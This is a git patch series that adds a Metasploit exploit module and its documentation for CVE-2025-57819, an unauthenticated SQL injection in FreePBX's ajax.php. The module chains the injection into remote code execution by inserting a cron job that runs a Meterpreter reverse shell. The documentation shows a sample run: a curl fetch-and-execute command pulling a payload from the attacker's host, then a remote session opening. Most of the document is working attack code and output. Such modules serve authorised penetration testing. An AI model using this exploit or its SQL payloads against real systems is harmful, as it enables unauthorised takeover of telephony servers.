From 19074eef02d59a9756e3e2175bafaabe316fa8e4 Mon Sep 17 00:00:00 2001 From: Echo_Slow <73224073+EchoSl0w@users.noreply.github.com> Date: Sun, 21 Sep 2025 22:56:19 +0200 Subject: [PATCH 1/8] Add exploit for CVE-2025-57819 Added an exploit script for unauthenticated remote code execution targeting FreePBX --- .../unix/http/freepbx_unauth_sqli_to_rce.md | 115 ++++++++++++ .../unix/http/freepbx_unauth_sqli_to_rce.rb | 166 ++++++++++++++++++ 2 files changed, 281 insertions(+) create mode 100644 documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md create mode 100644 modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb diff --git a/documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md b/documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md new file mode 100644 index 0000000000000..449bc92bb32b2 --- /dev/null +++ b/documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md @@ -0,0 +1,115 @@ +## Vulnerable Application +FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 +endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing +unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation +and remote code execution. +This module exploits a vulnerability chain in FreePBX, tracked as CVE-2025-57819. +An authentication bypass exposes unauthenticated access to `/admin/ajax.php`, which +contains a SQL injection flaw. By leveraging this vulnerability, an attacker can +achieve remote code execution through the creation of cron jobs under the `asterisk` +database user context. + +The following FreePBX version has been tested: + +- FreePBX 16.0.33 + + +## Testing +To set up a test environment: +1. Install FreePBX and perform basic minimum setup (prompted by installer). I used proxmox to get a working installation. [Link](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso) +2. Confirm that the web service on port 80/443 is reachable. +3. Follow the verification steps below. + +## Options +No custom options exist for this module. + +## Verification Steps +1. Start msfconsole +2. `use exploit/unix/http/freepbx_unauth_sqli_to_rce` +3. `set RHOSTS ` +4. `set RPORT ` +5. `run` + +## Scenarios +### FreePBX Linux Target +``` +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > show options + +Module options (exploit/unix/http/freepbx_unauth_sqli_to_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4 + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / no The URI for the FreePBX installation + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+) + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_COMMAND is one of CURL,GET,WGET: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. + + + When FETCH_FILELESS is none: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME dCIEGUvcv no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + + +View the full module info with the info, or info -d command. + +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set RHOSTS 192.168.1.116 +RHOSTS => 192.168.1.116 +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set LHOST eth0 +LHOST => 192.168.1.65 +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set VERBOSE true +VERBOSE => true +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run +[*] Command to run on remote host: curl -so ./KjFruDjiGx http://192.168.1.65:8080/V3hgkVKmhAqViDKE6xmupA;chmod +x ./KjFruDjiGx;./KjFruDjiGx& +[*] Fetch handler listening on 192.168.1.65:8080 +[*] HTTP server started +[*] Adding resource /V3hgkVKmhAqViDKE6xmupA +[*] Started reverse TCP handler on 192.168.1.65:4444 +[+] Created cronjob with job name: 'BUQm' +[*] Waiting for cronjob to trigger... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 192.168.1.116 +[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.116:39258) at 2025-09-21 16:21:38 -0400 +[*] Attempting to perform cleanup +[+] Cronjob removed, happy hacking! + +meterpreter > sysinfo +Computer : freepbx.sangoma.local +OS : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` \ No newline at end of file diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb new file mode 100644 index 0000000000000..64021abf09c3c --- /dev/null +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE', + 'Description' => ' + This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, + and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without + authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing + remote code execution on the target system. + ', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Echo_Slow', # msf module + 'Piotr and Sonny of watchTowr' # POC used as a template + ], + 'References' => [ + ['CVE', '2025-57819'], + ['URL', + 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/'] + ], + 'Platform' => ['linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Unix Command', + { + 'DefaultOptions' => + { + 'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', + 'WfsDelay' => 60 # cronjob may take up to a minute to start + } + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2025-08-28', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new( + 'TARGETURI', + [false, 'The URI for the FreePBX installation', '/'] + ) + ] + ) + end + + def check + print_status('Checking if vulnerable...') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => + { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'" + } + }) + + begin + parsed_response = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::UnexpectedReply, 'Invalid response. Target is most likely patched') + return Exploit::CheckCode::Safe + end + + if res && res.code == 500 && parsed_response.to_s =~ /You have an error in your SQL syntax/ + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def exploit + module_name = Rex::Text.rand_text_alpha(4..7) + @job_name = Rex::Text.rand_text_alpha(4..7) + + rce_payload = Rex::Text.rand_text_alpha(4..7) + rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)" + rce_payload << " VALUES ('#{module_name}','#{@job_name}', '#{payload.encoded}', NULL, '* * * * *', 30, 1, 1) -- " + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => + { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => rce_payload + } + }) + + begin + parsed_response = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::UnexpectedReply, 'Invalid response. Target is most likely patched') + end + + if res && res.code == 500 && parsed_response.to_s =~ /Trying to access array offset on value of type bool/ + print_good("Created cronjob with job name: '#{@job_name}'") + print_status('Waiting for cronjob to trigger...') + else + fail_with(Failure::NoAccess, 'Cronjob was not created.') + end + end + + def cleanup + super + + return unless @job_name + + # Remove the created cronjob + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => + { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- " + } + }) + + print_status('Attempting to perform cleanup') + + begin + parsed_response = JSON.parse(res.body) + rescue JSON::ParserError + print_bad('Cronjob not removed, please perform manual cleanup!') + return + end + + if res && res.code == 500 && parsed_response.to_s =~ /Trying to access array offset on value of type bool/ + print_good('Cronjob removed, happy hacking!') + else + print_bad('Cronjob not removed, please perform manual cleanup!') + end + end +end From 75c8efbc7da8e7c83a5daa9485077a88399fe9ad Mon Sep 17 00:00:00 2001 From: Echo_Slow <73224073+EchoSl0w@users.noreply.github.com> Date: Mon, 22 Sep 2025 11:26:11 +0200 Subject: [PATCH 2/8] Update freepbx_unauth_sqli_to_rce.rb Made the code more readable --- .../unix/http/freepbx_unauth_sqli_to_rce.rb | 32 ++++--------------- 1 file changed, 6 insertions(+), 26 deletions(-) diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb index 64021abf09c3c..6e6a52451808b 100644 --- a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -80,18 +80,11 @@ def check } }) - begin - parsed_response = JSON.parse(res.body) - rescue JSON::ParserError - fail_with(Failure::UnexpectedReply, 'Invalid response. Target is most likely patched') - return Exploit::CheckCode::Safe + if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/ + return Exploit::CheckCode::Vulnerable('Detected SQL injection') end - if res && res.code == 500 && parsed_response.to_s =~ /You have an error in your SQL syntax/ - return Exploit::CheckCode::Vulnerable - end - - Exploit::CheckCode::Safe + Exploit::CheckCode::Safe('No SQL injection detected, target is patched') end def exploit @@ -115,17 +108,11 @@ def exploit } }) - begin - parsed_response = JSON.parse(res.body) - rescue JSON::ParserError - fail_with(Failure::UnexpectedReply, 'Invalid response. Target is most likely patched') - end - - if res && res.code == 500 && parsed_response.to_s =~ /Trying to access array offset on value of type bool/ + if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ print_good("Created cronjob with job name: '#{@job_name}'") print_status('Waiting for cronjob to trigger...') else - fail_with(Failure::NoAccess, 'Cronjob was not created.') + fail_with(Failure::PayloadFailed, 'Cronjob was not created.') end end @@ -150,14 +137,7 @@ def cleanup print_status('Attempting to perform cleanup') - begin - parsed_response = JSON.parse(res.body) - rescue JSON::ParserError - print_bad('Cronjob not removed, please perform manual cleanup!') - return - end - - if res && res.code == 500 && parsed_response.to_s =~ /Trying to access array offset on value of type bool/ + if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ print_good('Cronjob removed, happy hacking!') else print_bad('Cronjob not removed, please perform manual cleanup!') From b54dfddc258d86910e47a4a53b82ca646ba86a44 Mon Sep 17 00:00:00 2001 From: Echo_Slow <73224073+EchoSl0w@users.noreply.github.com> Date: Mon, 22 Sep 2025 13:17:28 +0200 Subject: [PATCH 3/8] Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb Co-authored-by: Julien Voisin --- modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb index 6e6a52451808b..75599e579943b 100644 --- a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -93,7 +93,7 @@ def exploit rce_payload = Rex::Text.rand_text_alpha(4..7) rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)" - rce_payload << " VALUES ('#{module_name}','#{@job_name}', '#{payload.encoded}', NULL, '* * * * *', 30, 1, 1) -- " + rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- " res = send_request_cgi({ 'method' => 'GET', From 09207eb450c9e0cbeaae2e2a1a4cb57383604f00 Mon Sep 17 00:00:00 2001 From: Echo_Slow <73224073+EchoSl0w@users.noreply.github.com> Date: Mon, 22 Sep 2025 13:18:32 +0200 Subject: [PATCH 4/8] Update freepbx_unauth_sqli_to_rce.rb to account for slow systems --- modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb index 75599e579943b..c5790881f4b53 100644 --- a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -38,7 +38,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', - 'WfsDelay' => 60 # cronjob may take up to a minute to start + 'WfsDelay' => 70 # cronjob may take up to a minute to start } } ] From c0f4efd87d1bc2bec53d778c753017f351d847f4 Mon Sep 17 00:00:00 2001 From: Echo_Slow <73224073+EchoSl0w@users.noreply.github.com> Date: Mon, 22 Sep 2025 16:42:22 +0200 Subject: [PATCH 5/8] Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb Co-authored-by: msutovsky-r7 --- modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb index c5790881f4b53..7377a5b0369db 100644 --- a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -22,7 +22,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Echo_Slow', # msf module - 'Piotr and Sonny of watchTowr' # POC used as a template + 'Piotr Bazydlo', # POC used as a template + 'Sonny' # POC used as a template ], 'References' => [ ['CVE', '2025-57819'], From a1973e9f72cfff89bc71b7f24f5ddeb4a8124a41 Mon Sep 17 00:00:00 2001 From: Echo_Slow <73224073+EchoSl0w@users.noreply.github.com> Date: Mon, 22 Sep 2025 16:45:29 +0200 Subject: [PATCH 6/8] Update freepbx_unauth_sqli_to_rce.rb Used rubocop with -A option. --- .../exploits/unix/http/freepbx_unauth_sqli_to_rce.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb index 6e6a52451808b..634c5152383d6 100644 --- a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -1,3 +1,5 @@ +# frozen_string_literal: true + ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -22,10 +24,11 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Echo_Slow', # msf module - 'Piotr and Sonny of watchTowr' # POC used as a template + 'Piotr Bazydlo', # POC used as a template + 'Sonny' # POC used as a template ], 'References' => [ - ['CVE', '2025-57819'], + %w[CVE 2025-57819], ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/'] ], @@ -38,7 +41,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', - 'WfsDelay' => 60 # cronjob may take up to a minute to start + 'WfsDelay' => 70 # cronjob may take up to a minute to start } } ] @@ -93,7 +96,7 @@ def exploit rce_payload = Rex::Text.rand_text_alpha(4..7) rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)" - rce_payload << " VALUES ('#{module_name}','#{@job_name}', '#{payload.encoded}', NULL, '* * * * *', 30, 1, 1) -- " + rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- " res = send_request_cgi({ 'method' => 'GET', From 6b183ba3b4ec7be5654aafa2122b9e194a9b890b Mon Sep 17 00:00:00 2001 From: Echo_Slow <73224073+EchoSl0w@users.noreply.github.com> Date: Mon, 22 Sep 2025 16:49:19 +0200 Subject: [PATCH 7/8] Update freepbx_unauth_sqli_to_rce.rb Used rubocop -A option --- modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb index 7377a5b0369db..634c5152383d6 100644 --- a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -1,3 +1,5 @@ +# frozen_string_literal: true + ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -22,11 +24,11 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Echo_Slow', # msf module - 'Piotr Bazydlo', # POC used as a template - 'Sonny' # POC used as a template + 'Piotr Bazydlo', # POC used as a template + 'Sonny' # POC used as a template ], 'References' => [ - ['CVE', '2025-57819'], + %w[CVE 2025-57819], ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/'] ], From b51cc87f889b4635c8881a829d53683c051b3bfc Mon Sep 17 00:00:00 2001 From: Echo_Slow <73224073+EchoSl0w@users.noreply.github.com> Date: Mon, 22 Sep 2025 17:34:00 +0200 Subject: [PATCH 8/8] Update freepbx_unauth_sqli_to_rce.rb Performed manual cleanup by observing the error log of msftidy. Checked for original functionality, the exploit still works. --- .../unix/http/freepbx_unauth_sqli_to_rce.rb | 80 +++++++++---------- 1 file changed, 37 insertions(+), 43 deletions(-) diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb index 634c5152383d6..75d614c74f51a 100644 --- a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -1,5 +1,3 @@ -# frozen_string_literal: true - ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -15,12 +13,12 @@ def initialize(info = {}) update_info( info, 'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE', - 'Description' => ' + 'Description' => %q{ This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing remote code execution on the target system. - ', + }, 'License' => MSF_LICENSE, 'Author' => [ 'Echo_Slow', # msf module @@ -28,9 +26,8 @@ def initialize(info = {}) 'Sonny' # POC used as a template ], 'References' => [ - %w[CVE 2025-57819], - ['URL', - 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/'] + ['CVE', '2025-57819'], + ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/'] ], 'Platform' => ['linux'], 'Arch' => ARCH_CMD, @@ -70,18 +67,17 @@ def initialize(info = {}) def check print_status('Checking if vulnerable...') - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), - 'vars_get' => - { - 'module' => 'FreePBX\\modules\\endpoint\\ajax', - 'command' => 'model', - 'template' => Rex::Text.rand_text_alphanumeric(3..6), - 'model' => Rex::Text.rand_text_alphanumeric(3..6), - 'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'" - } - }) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'" + } + ) if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/ return Exploit::CheckCode::Vulnerable('Detected SQL injection') @@ -98,18 +94,17 @@ def exploit rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)" rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- " - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), - 'vars_get' => - { - 'module' => 'FreePBX\\modules\\endpoint\\ajax', - 'command' => 'model', - 'template' => Rex::Text.rand_text_alphanumeric(3..6), - 'model' => Rex::Text.rand_text_alphanumeric(3..6), - 'brand' => rce_payload - } - }) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => rce_payload + } + ) if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ print_good("Created cronjob with job name: '#{@job_name}'") @@ -125,18 +120,17 @@ def cleanup return unless @job_name # Remove the created cronjob - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), - 'vars_get' => - { - 'module' => 'FreePBX\\modules\\endpoint\\ajax', - 'command' => 'model', - 'template' => Rex::Text.rand_text_alphanumeric(3..6), - 'model' => Rex::Text.rand_text_alphanumeric(3..6), - 'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- " - } - }) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- " + } + ) print_status('Attempting to perform cleanup')